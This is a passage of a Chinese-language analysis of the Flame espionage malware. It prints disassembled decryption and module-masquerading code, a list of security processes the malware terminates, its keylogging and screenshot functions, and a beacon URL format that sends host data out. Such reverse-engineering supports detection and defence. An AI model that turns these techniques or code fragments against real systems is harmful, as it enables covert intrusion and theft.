XP下安装成印表机。要制作PDF档案就像从列印功能表内选择印表机一样简单,你可以在Internet
Explorer、Microsoft
Word、Excel、Quicken或其他应用软体里使用。档案储存对话框里可浏览、观看被制作出来的档案、并自动附加在电子邮件里,或者传送到Palm等手持装置。
注:未注册版本会在每份文件里加上一页额外的产品资讯页面。
add esp, 4
mov [ebp+var_94], eax
push offset unk_102CA238
call near ptr my_decode_strW ; decode : "pdfconverter"
; PDFconverter 该软件可以转换 PDF 文件为包括 BMP, DCX, FAX, HTML, JPEG, JPG, PCX, PNG, PS,
postscript, SGI, TGA, TIFF 和 TIF 在内的10种类型的图像,并且可以转换为文本和 HTML 文件。向导界面允许你为单独和批量转换指定选项。该软件包括自动旋转,DPI,重新设置尺寸,高级的 HTML 选项以及用于可压缩图像的压缩统计功能。
add esp, 4
mov [ebp+var_90], eax
push offset unk_102CA278
call near ptr my_decode_strW ; decode : "jaws pdf creator"
; Jaws PDF Creator是一个来自所有可供应和可信赖的文件方式而创建的PDF文件,符合任何应用程序。使用Jaws PDF
Creator,商业能很容易创建电子文档可以通过各种硬件和软件来分享。它提供了充分和灵活的PDF控制结构设置和允许用户或社团管理员应该利用社团标准预先确定PDF的结构设置选择最接近PDF的一代。Jaws Pdf
Creator安装成为一个虚拟打印机,基本特点是,一旦你按下打印键,它就会抓取信息并转换成为一个PDF文件。
add esp, 4
mov [ebp+var_8C], eax
push offset unk_102CA10C
call near ptr my_decode_strW ; decode : "pdffactory"
; pdfFactory 产品提供了比其他程序提供得更简单、更有效率和更少的花费的创建 PDF 文件的解决方案。pdfFactory
Pro标准版本用来创建 pdf 文件,pdfFactory
Pro用于需要安全的 PDF(法律文档、公司信息等)和其他高级功能的用户。
add esp, 4
mov [ebp+var_88], eax
push offset unk_102CA2C0
call near ptr my_decode_strW ; decode : "pdffactory pro"
; pdffactory pro一款为你提供了一个快捷的方式制作PDF文档的pdf编辑软件,更有效,更便宜。它同时支持32位和64位。PdfFactory在安装之后,并不会出现一个通常意义上的程序运行方式,它的运行时通过生成一个虚拟的PdfFactory打印机来实现的,所以在开始运行菜单中找不到它的执行程序。通过虚拟的“打印”功能,将各类可打印文档,如TXT、DOC、PPT等文件直接转换成PDF文件。并且,这个过程是不需要另外安装PDF文档浏览器的。软件的使用很简单。安装之后,打开你需要转换的文档,选择其中的打印功能,就能看到名为PdfFactory的打印机了。软件很小,但是很实现的功能却不少。
add esp, 4
mov [ebp+var_84], eax
push offset unk_102CA338
call near ptr my_decode_strW ; decode : "fineprint pdffactory pro"
; pdfFactory 产品提供了比其他程序提供得更简单、更有效率和更少的花费的创建 PDF 文件的解决方案。pdfFactory
Pro标准版本用来创建 pdf 文件,pdfFactory
Pro用于需要安全的PDF(法律文档、公司信息等)和其他高级功能的用户。
add esp, 4
mov [ebp+var_80], eax
push offset aXcNPsiGiOaZ ;
call near ptr my_decode_strW ; decode : "acrobat distiller"
; Acrobat Distiller是创建PDF文件的执行软件。在启动Distiller 后,用户可以看到一个类似于RIP软件的窗口。3.0版本的没有选择标准,5.0版本以后,现在大多都在用7.0通常有个选择对话框,可以根据需要选择使用,搞印刷的朋友需要重新设置一下,否则可能会出现一些问题,例如:出菲林时可能RIP不了,无法解释;具体设置可在选择框中仔细选择一下,都是些分辨率、字体等的问题,相信搞印刷制版的朋友不会陌生。Adobe的 CPSI(PostScript解释器)是它的基础,虽然它不能栅格化,却能创建PDF文件。
add esp, 4
mov [ebp+var_7C], eax
push offset unk_102CA304
call near ptr my_decode_strW ; decode : "pdf995"
; “PDF995”是一款免费的PDF格式电子书制作软件,可以迅速和专业的把所有流行文档(如“Microsoft Word”文件)转换成PDF格式。可以在www.pdf995.com免费下载。以下是使用PDF995把文件转换成PDF资料格式的方法。
add esp, 4
mov [ebp+var_78], eax
push offset unk_102CA3DC
call near ptr my_decode_strW ; decode : "PDFCreator"
; PDFCreator是一个开源应用程序,支持windows打印功能的任何程序都可以使用它创建PDF文档。使用PDFCreator能够创建PDF文档,Postscript文档,Encapsulated
Postscript 文件;它也能生成PNG,BMP,JPEG,PCX,TIFF图形格式文件,强大的合并功能允许你将多个独立的文档转化成一个PDF文件。
add esp, 4
mov [ebp+var_74], eax
push offset unk_102CA418
call near ptr my_decode_strW ; decode : "primopdf"
; PrimoPDF是一个免费、使用简单的文件转PDF格式软件,这套PrimoPDF可以“伪装”自己是一台打印机,然后把所有可以打印的文件都用PDF格式输出,所以不论是Word、html、Excel、jpg文件等等,只要是可以打印的文件,全部都可以转成PDF格式。
add esp, 4
mov [ebp+var_70], eax
push offset unk_102CA450
call near ptr my_decode_strW ; decode : "sonic pdf"
; Sonic PDF Creator是一款功能强大的PDF工具,该软件将可以帮助你对PDF进行各种操作,例如创建,转换,加水印,合并和分离PDF文档。软件拥有几大特性。例如,软件创建PDF文档的速度首屈一指,在同类软件中名列前茅。软件还支持从Word,Excel,PPT等等格式直接转化为PDF文档,并且在转换的过程中并不改变源文件的文档布局,确实令人惊叹。
add esp, 4
mov [ebp+var_6C], eax
push offset unk_102CA490
call near ptr my_decode_strW ; decode : "bluebeam pdf printer"
; Bluebeam的 PDF Revu 对那些需要简单又智能的转换方案的用户来说可算是最理想的了.
Bluebeam可以在Word,
Excel 或者是PowerPoint的控制工具面板中田间控制按钮,所以转换步骤就会变得前所未有的简单 。而对于其他 Windows 软件(比若说WordPerfect,
Outlook, image files来说.) Bluebeam提供了Bluebeam
PDF Printer创建驱动,直接创建PDF ,还支持其他九种文件的转换,真的是十分简单啊.
add esp, 4
mov [ebp+var_68], eax
push offset unk_102CA4E0
call near ptr my_decode_strW ; decode : "cutepdf writer"
; CutePDF
Writer 几乎能从打印方式支持所有文件格式到高质量PDF的转换。个人和商务使用都是绝对免费的。无水印,无广告,支持64位的 Windows.
add esp, 4
mov [ebp+var_64], eax
push offset unk_102CA528
call near ptr my_decode_strW ; decode : "broadgun
pdfmac0hine"
; pdfMachine是一款PDF文件生成工具,可以很轻松地创建高质量的PDF文件。
有以下特点:易于安装;简单易用,只需点击一下鼠标;
add esp, 4
mov [ebp+var_60], eax
push offset unk_102CA578
call near ptr my_decode_strW ; decode : "spss pdf converter"
; 一款PDF的编辑,转换软件。为PDF转换提供了完整的解决方案,能合并,转换,直接编辑PDF文件。支持的格式有:Microsoft
Word,Corel WordPerfect, Execl类制表格式等。
add esp, 4
mov [ebp+var_5C], eax
push offset unk_102CA5F8
call near ptr my_decode_strW ; decode : "quicken pdf printer"
;一款惠普官方打印机,是否支持PDF打印中间转换有待确定。
add esp, 4
mov [ebp+var_58], eax
push offset unk_102CA648
call near ptr my_decode_strW ; decode : "pagemanager pdf
writer"
; 就是可以把Office文档或者影像文档转换为PDF的工具软件,可以从网上下载。
add esp, 4
mov [ebp+var_54], eax
push offset unk_102CA6D8
call near ptr my_decode_strW ; decode : "pdfcamp printer"
add esp, 4
mov [ebp+var_50], eax
push offset unk_102CA720
call near ptr my_decode_strW ; decode : "mindmanager pdf
writer"
add esp, 4
mov [ebp+var_4C], eax
push offset aJvCfS6yvsSl ;
call near ptr my_decode_strW ; decode : "solid converter
pdf"
;Solid Converter PDF是一套专门将PDF文件转换成DOC的软件,除了转换成DOC文件外,还可以转换成RTF以及Word XML文件。除此之外,它还有一个图片撷取功能,可以让我们将PDF档里的图片撷取出来,以及将PDF档里的表格撷取出来,并输出到Excel里,方便我们编辑表格里的资料。
add esp, 4
发现初始化RPC连接的字符串绑定
mov [ebp+str_buffer_1], edx
mov [ebp+var_2C4], 0
lea eax, [ebp+free_string]
push eax ;
string
push offset unk_102CA7C8
call near ptr my_decode_strW ; decode : ""
add esp, 4
push eax ;
string
push offset unk_102CA7F0
call near ptr my_decode_strW ; decode : "\pipe\spoolss"
add esp, 4
push eax ;
network addr
mov ecx, [ebp+c1]
push ecx ;
string
push offset unk_102CA834
call near ptr my_decode_strW ; decode : "ncacn_np"
add esp, 4
push eax ;
string
push offset unk_102CA870
call near ptr my_decode_strW ; decode :
"12345678-1234-abcd-ef00-0123456789ab"
add esp, 4
push eax ;
ObjUuid
call RpcStringBindingComposeW
mov [ebp+RPC_STATUS], eax
cmp [ebp+RPC_STATUS], 0
jz short loc_101
经确认CCID为"12345678-1234-abcd-ef00-0123456789ab"的RPC功能为后台处理程序功能。其操作码与对应功能说明,见附录八。
分析发现新的解密函数两个,其使用的解密算法与先前发现的一致,但是通过对这两个新发现的解密函数进行交叉索引可以解密大量之前未发现的字符串,待后续分析其加密字符串作用。
分析发现flame中解密出的字符串可能为调用putty组件的参数如下图。
发现可能为flame连接web服务器的字符串信息。
对flame注入到services.exe进程中的shell code提取,并按注入顺序及相对位置进行合并,然后通过双机内核调试shell code。主要发现,shell code的主函数的参数为一个函数表,表中应为shell code后续功能需要的函数,如下表。
函数
|
kernel32!OpenMutexW
|
kernel32!VirtualAlloc
|
kernel32!VirtualFree
|
kernel32!VirtualProtect
|
kernel32!LoadLibraryA
|
kernel32!LoadLibraryW
|
kernel32!GetModuleHandleA
|
kernel32!GetProcAddress
|
ntdll!memcpy
|
ntdll!memset
|
kernel32!CreateFileMappingW
|
kernel32!OpenFileMappingW
|
kernel32!MapViewOfFile
|
kernel32!UnmapViewOfFile
|
kernel32!ReleaseMutex
|
ntdll!NtQueryInformationProcess
|
ntdll!RtlGetLastWin32Error
|
kernel32!CreateMutexW
|
kernel32!WaitForSingleObject
|
kernel32!CloseHandle
|
kernel32!CreateFileW
|
kernel32!FreeLibrary
|
kernel32!Sleep
|
kernel32!LocalFree
|
对Flame注入到services.exe进程中的shell code进行分析发现,其将mssecmgr.ocx模块伪装为shell32.dll模块加载的实现方式是其先加载shell32.dll模块并获取其句柄,然后创建其文件映射,但是此处调用函数时传递的映射文件的大小为mssecmgr.ocx模块的大小,然后创建其视图,视图的文件大小也为mssecmgr.ocx文件大小。然后将mssecmgr.ocx的整个文件头(DOS头+PE头+区块表)拷贝到shell32.dll的文件视图中。
最后通过mssecmgr.ocx的区块信息循环讲各个区块按着其相对虚拟地址复制到shell32.dll的视图中。
loc_1C4E27:
movzx eax, word ptr [ebp+8] ; section index
mov ecx, [ebp-34h] ; section table
imul eax, 28h
add eax, ecx ; section address
push dword ptr [eax+10h]
mov edx, [eax+14h]
mov eax, [eax+0Ch] ; section rva
add eax, [ebp-0Ch] ; section address of shell32.dll view
lea ecx, [esi+0B30h]
add edx, ecx
push edx
push eax
call dword ptr [esi+20h]
;
ntdll!memcpy() copy section to shell32.dll view buffer
add esp, 0Ch
inc dword ptr [ebp+8]
mov ax, [ebp+8]
cmp ax, [edi+6] ;while
all sections
jb short loc_1C4E27 ;
3.2 Soapr32.ocx模块分析
Soapr32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是用来收集信息的功能模块。Soapr32.ocx模块中的很多功能都是获取系统中的一些信息的,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。
通过对Soapr32.ocx模块的分析,我们总结出了该模块的以下功能信息:
具体内容如下:
Soapr32.ocx模块通过注册表信息可以查看系统中是否安装如下安全软件:
Soapr32.ocx模块尝试遍历进程查看系统运行的进程中是否有以下进程存在:
Soapr32.ocx模块在TEMP目录下释放临时文件,TEMP文件中的内容为加密内容:
Soapr32.ocx模块遍历Program Files下所有目录:
- 检查注册表时区信息:
0006FE08 80000002 |hKey = HKEY_LOCAL_MACHINE
0006FE0C 1001B57B |Subkey = "SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
0006FE10 00000000 |Reserved = 0
0006FE14 00020019 |Access = KEY_READ
0006FE18 0006FE24 \pHandle = 0006FE24
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"forceguest"=dword:00000001
00D43940 xiaomo................TP-LINK_6C90DE.
00D43980 ......admin.................luck.................simao...........
00D439C0 .....ChinaUnicom..........CMCC.................TP-LINK_CN.......
00D43A00 ....user.................EWA@ECN................................
参数的结构如下:
[byte]
Sign
|
[word]
Length
|
[dword]
Address
|
判断解密标志,压入解密长度和解密地址。
0x1000C0E0 proc near
push esi
mov esi, [esp+8]
cmp byte ptr [esi+8], 0
jnz short 0x1000C0F0
lea eax, [esi+0Bh]
pop esi
retn
0x1000C0F0:
movzx eax, word ptr [esi+9]
push edi
push eax
lea edi, [esi+0Bh]
push edi
call 0x1000C0BC
pop ecx
pop ecx
mov eax, edi
pop edi
mov byte ptr [esi+8], 0
pop esi
retn
0x1000C0E0 endp
decrypt
the data:
0x1000C0BC proc near
push edi
xor edi, edi
cmp [esp+0Ch], edi
jbe short 0x1000C0DE
push esi
0x1000C0C6:
mov eax, [esp+8+8]
lea esi, [edi+eax]
mov eax, edi
call 0x1000C0A2
sub [esi], al
inc edi
cmp edi, [esp+8+C]
jb short 0x1000C0C6
pop esi
0x1000C0DE:
pop edi
retn
0x1000C0BC endp
计算方法:
EAX=(0x11h+n)*(0xbh+n)
note:n is the offset of the decrypted byte.
AL=(M1)xor(M2)xor(M3)xor(M4)
Decrypted data = Encrypted data – AL
图 3-13 AL=(M1)xor(M2)xor(M3)xor(M4)
3.3Advnetcfg.ocx模块分析
Advnetcfg.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析,了解到此模块的作用为截取屏幕信息。Advnetcfg.ocx运行后会把自身和%windir%\system32\ccalc32.sys文件的创建时间、修改时间和访问时间修改和系统中的Kernel32.dll一样。
Advnetcfg.ocx使用了字符串混淆技术,这和Nteps32.ocx的算法是一样的。
在Advnetcfg.ocx文件中,解密函数被调用179次,解密函数的起始地址为1000BE16。算法解密流程图如下:
图 3-14解密流程图
函数0x1000BE16有一个参数,该参数为一个结构体,结构如下:
[byte]
Sign
|
[word]
Length
|
[dword]
Address
|
该函数的返回值为,输入参数结构体中的解密数据的起始地址。在函数解密成功后还将会修改解密标志。
具体代码见下图:
图 3-15 解密函数1000BE16
循环解密字符串函数:
该函数有2个参数,第一个是解密字符串的起始地址,第二个是字符串长度,函数没有返回值。
图 3-16 解密函数1000BDA7
解密密钥部分:
计算方法:
EAX=(0xAh+n)*(0x5h+n)
note:n is the offset of the decrypted byte.
AL=(M1)xor(M2)xor(M3)xor(M4)
Decrypted data = Encrypted data – AL
图 3-17 AL=(M1)xor(M2)xor(M3)xor(M4)
图 3‑18解密函数1000BD68
检测大多数(超过90多个进程)的反病毒、防火墙以及其他安全产品的进程。附录三列举一大部分国外流行的反病毒和安全软件进程列表(详见附录三:Advnetcfg.ocx模块检测国外主要反病毒软件进程列表)。
截取屏幕所使用的主要函数如下:
查看系统注册表中是否有KasperskyLab项判断多个版本:
3.4 Nteps32.ocx模块分析
Nteps32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块的作用为键盘记录和截取屏幕信息。Nteps32.ocx运行后会把自身和Boot32drv.sys文件的创建时间、修改时间和访问时间修改,就和系统中的Kernel32.dll一样。
以上临时文件对应着其不同的功能记录文件并做加密处理。例如:键盘记录、截屏信息等。
- 查看注册表中是否有卡巴斯基的注册表项
- HKLM\SOFTWARE\KasperskyLab
- HKLM\SOFTWARE\KasperskyLab\AVP6
- HKLM\SOFTWARE\KasperskyLab\protected\AVP7
- 该模块包含域名字符串列表信息,主要用来监视等操作。
- live.com
- .hotmail.
- gawab.com
- gmail.com
- mail.
- maktoob.com
- rocketmail.com
- yahoo.co
- ymail.com
Nteps32.ocx模块还包含一个用于监测网络安全进程的列表,此列表数量在130左右个进程,都是国外一些防火墙产品、反病毒产品和一些安全产品等。列表详见附录四(附录四:Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过。)
该模块有键盘记录功能和截取屏幕功能主要使用的函数如下:
3.5 Msglu32.ocx模块分析
Msglu32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到sql数据库中,同时也可以收集文件中与地域性相关的一些信息。
- 查看注册表中是否有卡巴斯基的注册表项。
- HKLM\SOFTWARE\KasperskyLab\AVP6
- HKLM\SOFTWARE\KasperskyLab\protected\AVP7
- 检测进程中的如下进程列表,并将之结束。
AntiHook.exe、EngineServer.exe、FAMEH32.exe、FCH32.exe、Filemon.exe、FPAVServer.exe、FProtTray.exe、FrameworkService.exe、fsav32.exe、fsdfwd.exe、fsgk32.exe、fsgk32st.exe、fsguidll.exe、FSM32.exe、FSMA32.exe、FSMB32、fspc.exe、fsqh.exe、fssm32.exe、jpf.exe、jpfsrv.exe、mcagent.exe、mcmscsvc.exe、McNASvc.exe、McProxy.exe、McSACore.exe、Mcshield.exe、mcsysmon.exe、McTray.exe、mcupdmgr.exe、mfeann.exe、mfevtps.exe、MpfSrv.exe、naPrdMgr.exe、procexp.exe、PXAgent.exe、PXConsole.exe、shstat.exe、sp_rsser.exe、SpywareTerminator.exe、SpywareTerminatorShield.exe、UdaterUI.exe、VsTskMgr.exe
病毒在对上述的各个类型的文件进行遍历时,将会记录文件的下列信息,创建时间、修改时间、作者、创建者、注释、公司、版权、标题、信息、版本编号、关键字数量等。上面的这些信息将会存储到数据库中,存入数据库主要是通过如下一些命令来完成:
update "%w".sqlite_sequence set name = %q where name = %q
update sqlite_temp_master set sql = sqlite_rename_trigger(sql, %q), tbl_name = %q where %s;
update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q
update %q.%s set type='%s', name=%q, tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d
select 'create table vacuum_db.' || substr(sql,14) from sqlite_master where type='table' and name!
select 'create unique index vacuum_db.' || substr(sql,21) from sqlite_master where sql like 'create unique index %'
insert into vacuum_db.sqlite_master select type, name, tbl_name, rootpage, sql from main.sqlite_master where type='view' or type='trigger' or (type='table' and rootpage=0)
图 3-19在内存中发现的一些SQL语句
该模块通过使用postscript的图像函数,可以解析pdf文件中的阿拉伯文字和希伯来文字。
图 3-20使用postscript图像函数解析pdf文件
检测到指定格式的文件中(比如图片文件)如果含有Geotagging信息(经度、纬度、海拔等)后,将会提取出这些信息,这些信息包括经度、纬度和海拔等。
图 3-21检测含有Geotagging信息的指定格式的文件
程序中大量数据被加密。加密算法代码位置如下:
图 3-22加密函数1000CBBE
对该函数的调用有2个函数。分别位置如下:
第一个调用:
图 3-23第一处调用解密函数
图 3-24第二处调用解密函数
解密算法说明:
函数有2个参数:edx[解密串的长度],eax[解密串的起始地址]
函数有一个返回值:eax[解密后字串的起始地址]
解密算法:
ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x101863EC]
note:n is the offset of the decrypted byte.
CL=(M1)xor(M2)xor(M3)xor(M4)
Decrypted data = Encrypted data – CL
图 3-25 CL=(M1)xor(M2)xor(M3)xor(M4)
调用1功能说明:
函数有一个参数:arg.1[调用时压入堆栈的一个地址]
解密字符串长度:[word]arg.1+0x9h
解密字符串起始地址:[dword]arg.1+0xBh
返回值:解密后字符串的起始地址
调用2功能说明:
函数有一个参数:arg.1[调用时压入堆栈的一个地址]
解密字符串长度:[word]arg.1+0x12h
解密字符串起始地址:[dword]arg.1+0x14h
返回值:arg.1[调用时压入堆栈的一个地址]
返回值:解密后字符串的起始地址
3.6 Wusetupv.exe模块分析
Wusetupv.exe是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到,此模块是用来收集本机各个接口的信息、进程信息,注册表键值信息。
该样本使用MITM方法,利用了微软的数字签名漏洞。
图 3-26Flame使用微软数字签名
图 3-27Flame使用微软数字签名
Wusetupv.exe运行后创建互斥量"WPA_NTOS_MUTEX"。
查找"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DHF593.tmp"文件,并读取文件内容。
尝试下载文件存储为"C:\WINDOWS\temp\~ZFF042.tmp"(猜测下载的就是Flame的主模块“Mssecmgr.ocx”)
图 3-28下载文件
图 3-29存储为"C:\WINDOWS\temp\~ZFF042.tmp"
从操作系统的MIB库中读出本机各个接口的当前信息,如接口数目、类型、速率、物理地址、接收/发送字节数、错语字节数等。图 3-30收集本机各个接口信息
收集本机进程信息,加密后作为参数回传。
图 3-31收集进程信息并加密
创建指定格式的URL回传主机信息:
http://MSHOME-<STRING>/view.php?mp=1&jz=<STRING>&fd=<STRING>&am=<STRING>&ef=<STRING>&pr=<STRING>&ec=<STRING>&ov=<STRING>&pl=<STRING>
Jz参数是随机创建的,主要功能代码如下:
图 3-32创建Jz参数的函数代码
am参数是MAC地址,与0x55异或加密(如下图)。
图 3-33MAC地址的加密函数
ef参数是IP地址,与0x44异或加密(如下图)。
图 3-34 IP地址的加密函数
ov参数是加密后的系统版本号。
Pl参数是加密后的进程列表。
加密方式采用简单的替换,列表如下[6]:
hXk1Qrbf6VH~29SMYAsCF-q7Omad0eGLojWi.DyvK8zcnZxRTUpwE_B5tuNPIJgl43
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-.
查询系统注册表
查看系统注册表中是否有KasperskyLab项判断多个版本:
3.7 Boot32drv.sys解密分析
Boot32drv.sys是一个加密数据文件并不是PE文件,加密方式是通过与0xFF做XOR操作。
加密文件如下:
图 3-35 加密的“Boot32drv.sys”的文件内容
解密代码如下:
pop esi ; To decrypt data address
mov edi,esi ; To decrypt data address
pop ecx ; To decrypt the length of the data
_lib:
cmp ecx,0
jz _end
lodsb
xor al,255
dec ecx
stosb
jmp _lib
_end:
解密后的数据如下:
001529A8 00 0A 00 00 00 01 01 DC 03 00 00 01 90 01 00 1B .....?..?.
001529B8 31 B3 C1 FF FF FF FF FF FF FF 02 04 00 00 00 B9 1沉??
001529C8 04 00 00 1E 9B C6 2B 06 04 00 00 00 40 77 1B 00 浧w.
001529D8 AC 8E C5 72 03 48 00 00 00 27 00 00 00 00 00 00 瑤舝H...'......
001529E8 00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 49 ..E.A.R._.W.I
001529F8 00 4E 00 44 00 4F 00 57 00 2E 00 44 00 45 00 53 .N.D.O.W...D.E.S
00152A08 00 4B 00 54 00 4F 00 50 00 5F 00 53 00 41 00 4D .K.T.O.P._.S.A.M
00152A18 00 50 00 4C 00 45 00 5F 00 52 00 41 00 54 00 45 .P.L.E._.R.A.T.E
00152A28 00 F1 62 CA E6 FF FF FF FF FF FF FF FF FF FF 06 .馼舒
00152A38 04 00 00 00 C0 D4 01 00 75 21 8F F4 03 46 00 00 涝.u!忯F..
00152A48 00 8F 00 00 00 34 00 00 00 FF FE 52 00 45 00 41 .?..4....E.A
00152A58 00 52 00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 .R._.W.I.N.D.O.W
00152A68 00 2E 00 57 00 49 00 4E 00 44 00 4F 00 57 00 5F ...W.I.N.D.O.W._
00152A78 00 53 00 41 00 4D 00 50 00 4C 00 45 00 5F 00 52 .S.A.M.P.L.E._.R
00152A88 00 41 00 54 00 45 00 FF EC 98 63 FF FF FF FF FF .A.T.E.鞓c
00152A98 FF FF FF FF FF FF FF 06 04 00 00 00 00 00 00 00 ???????????????
00152AA8 DE 63 59 11 03 66 00 00 00 F7 00 00 00 9C 00 00 辌Y f...?..?.
00152AB8 00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 49 ..E.A.R._.W.I
00152AC8 00 4E 00 44 00 4F 00 57 00 2E 00 4E 00 4F 00 54 .N.D.O.W...N.O.T
00152AD8 00 5F 00 49 00 4E 00 54 00 45 00 52 00 45 00 53 ._.I.N.T.E.R.E.S
00152AE8 00 54 00 49 00 4E 00 47 00 5F 00 50 00 52 00 4F .T.I.N.G._.P.R.O
00152AF8 00 43 00 45 00 53 00 53 00 45 00 53 00 5F 00 49 .C.E.S.S.E.S._.I
00152B08 00 4E 00 54 00 45 00 52 00 56 00 41 00 4C 00 44 .N.T.E.R.V.A.L.D
00152B18 E5 9E 9F FF FF FF FF FF FF 06 04 00 00 00 00 00 鍨????????????
00152B28 00 00 DE 63 59 11 03 56 00 00 00 79 01 00 00 04 ..辌YV...y??????
00152B38 01 00 00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 ...E.A.R._.W
00152B48 00 49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E .I.N.D.O.W...I.N
00152B58 00 54 00 45 00 52 00 45 00 53 00 54 00 49 00 4E .T.E.R.E.S.T.I.N
00152B68 00 47 00 5F 00 50 00 52 00 4F 00 43 00 45 00 53 .G._.P.R.O.C.E.S
00152B78 00 53 00 45 00 53 00 2E 00 73 00 69 00 7A 00 65 .S.E.S...s.i.z.e?
00152B88 00 F4 2A D4 62 FF FF FF FF FF FF FF FF FF 06 04 .?詁???????
00152B98 00 00 00 00 00 00 00 DE 63 59 11 03 58 00 00 00 .......辌YX...
00152BA8 EE 01 00 00 86 01 00 00 FF FE 52 00 45 00 41 00 ?..?...E.A.
00152BB8 52 00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 R._.W.I.N.D.O.W.
00152BC8 2E 00 49 00 4E 00 54 00 45 00 52 00 45 00 53 00 ..I.N.T.E.R.E.S.
00152BD8 54 00 49 00 4E 00 47 00 5F 00 50 00 52 00 4F 00 T.I.N.G._.P.R.O.
00152BE8 43 00 45 00 53 00 53 00 45 00 53 00 2E 00 66 00 C.E.S.S.E.S...f.
00152BF8 69 00 72 00 73 00 74 00 98 6B 24 F8 FF FF FF FF i.r.s.t.榢$?
00152C08 FF FF FF 06 04 00 00 00 00 00 00 00 DE 63 59 11 辌Y
00152C18 03 56 00 00 00 63 02 00 00 FB 01 00 00 FF FE 52 V...c..?..
00152C28 00 45 00 41 00 52 00 5F 00 57 00 49 00 4E 00 44 .E.A.R._.W.I.N.D
00152C38 00 4F 00 57 00 2E 00 49 00 4E 00 54 00 45 00 52 .O.W...I.N.T.E.R
00152C48 00 45 00 53 00 54 00 49 00 4E 00 47 00 5F 00 50 .E.S.T.I.N.G._.P
00152C58 00 52 00 4F 00 43 00 45 00 53 00 53 00 45 00 53 .R.O.C.E.S.S.E.S
00152C68 00 2E 00 6C 00 61 00 73 00 74 00 C5 77 91 31 FF ...l.a.s.t.舧?
00152C78 FF FF FF FF FF FF FF FF 06 04 00 00 00 01 00 00 ………………
00152C88 00 BB 04 E5 A9 03 56 00 00 00 D8 02 00 00 70 02 .?濠V...?..p
00152C98 00 00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 ...E.A.R._.W.
00152CA8 49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 00 I.N.D.O.W...I.N.
00152CB8 54 00 45 00 52 00 45 00 53 00 54 00 49 00 4E 00 T.E.R.E.S.T.I.N.
00152CC8 47 00 5F 00 50 00 52 00 4F 00 43 00 45 00 53 00 G._.P.R.O.C.E.S.
00152CD8 53 00 45 00 53 00 2E 00 66 00 72 00 65 00 65 00 S.E.S...f.r.e.e.
00152CE8 39 8A 88 A6 FF FF FF FF FF FF FF FF FF 06 04 00 9妶 ?.??.....
00152CF8 00 00 00 00 00 00 DE 63 59 11 03 50 00 00 00 4D ......辌Y???P...M
00152D08 03 00 00 E5 02 00 00 FF FE 52 00 45 00 41 00 52 ..?...E.A.R
00152D18 00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 2E ._.W.I.N.D.O.W..
00152D28 00 49 00 4E 00 54 00 45 00 52 00 45 00 53 00 54 .I.N.T.E.R.E.S.T
00152D38 00 49 00 4E 00 47 00 5F 00 54 00 49 00 54 00 4C .I.N.G._.T.I.T.L
00152D48 00 45 00 53 00 2E 00 73 00 69 00 7A 00 65 00 BE .E.S...s.i.z.e.
00152D58 97 A6 8A FF FF 06 04 00 00 00 00 00 00 00 DE 63 棪?.......辌
00152D68 59 11 06 04 00 00 00 00 00 00 00 DE 63 59 11 06 Y.......辌Y
00152D78 04 00 00 00 01 00 00 00 BB 04 E5 A9 0C 1E 00 00 ......?濠.‑..
00152D88 00 00 00 00 00 A3 C4 0C 69 FF FF FF FF FF FF FF .....D.i
00152D98 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00152DA8 FF FF FF 03 52 00 00 00 B5 03 00 00 5A 03 00 00 R...?..Z..
00152DB8 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00 49 00 .E.A.R._.W.I.
00152DC8 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 00 54 00 N.D.O.W...I.N.T.
00152DD8 45 00 52 00 45 00 53 00 54 00 49 00 4E 00 47 00 E.R.E.S.T.I.N.G.
00152DE8 5F 00 54 00 49 00 54 00 4C 00 45 00 53 00 2E 00 _.T.I.T.L.E.S...
00152DF8 66 00 69 00 72 00 73 00 74 00 B1 7F F6 66 03 50 f.i.r.s.t.?鰂P
00152E08 00 00 00 C2 03 00 00 03 04 00 00 FF FE 52 00 45 ...?.....E
00152E18 00 41 00 52 00 5F 00 57 00 49 00 4E 00 44 00 4F .A.R._.W.I.N.D.O
00152E28 00 57 00 2E 00 49 00 4E 00 54 00 45 00 52 00 45 .W...I.N.T.E.R.E
00152E38 00 53 00 54 00 49 00 4E 00 47 00 5F 00 54 00 49 .S.T.I.N.G._.T.I
00152E48 00 54 00 4C 00 45 00 53 00 2E 00 6C 00 61 00 73 .T.L.E.S...l.a.s
00152E58 00 74 00 8C 30 08 74 FF FF 03 50 00 00 00 CF 03 .t.?tP...?
00152E68 00 00 5E 04 00 00 FF FE 52 00 45 00 41 00 52 00 ..^...E.A.R.
00152E78 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 2E 00 _.W.I.N.D.O.W...
00152E88 49 00 4E 00 54 00 45 00 52 00 45 00 53 00 54 00 I.N.T.E.R.E.S.T.
00152E98 49 00 4E 00 47 00 5F 00 54 00 49 00 54 00 4C 00 I.N.G._.T.I.T.L.
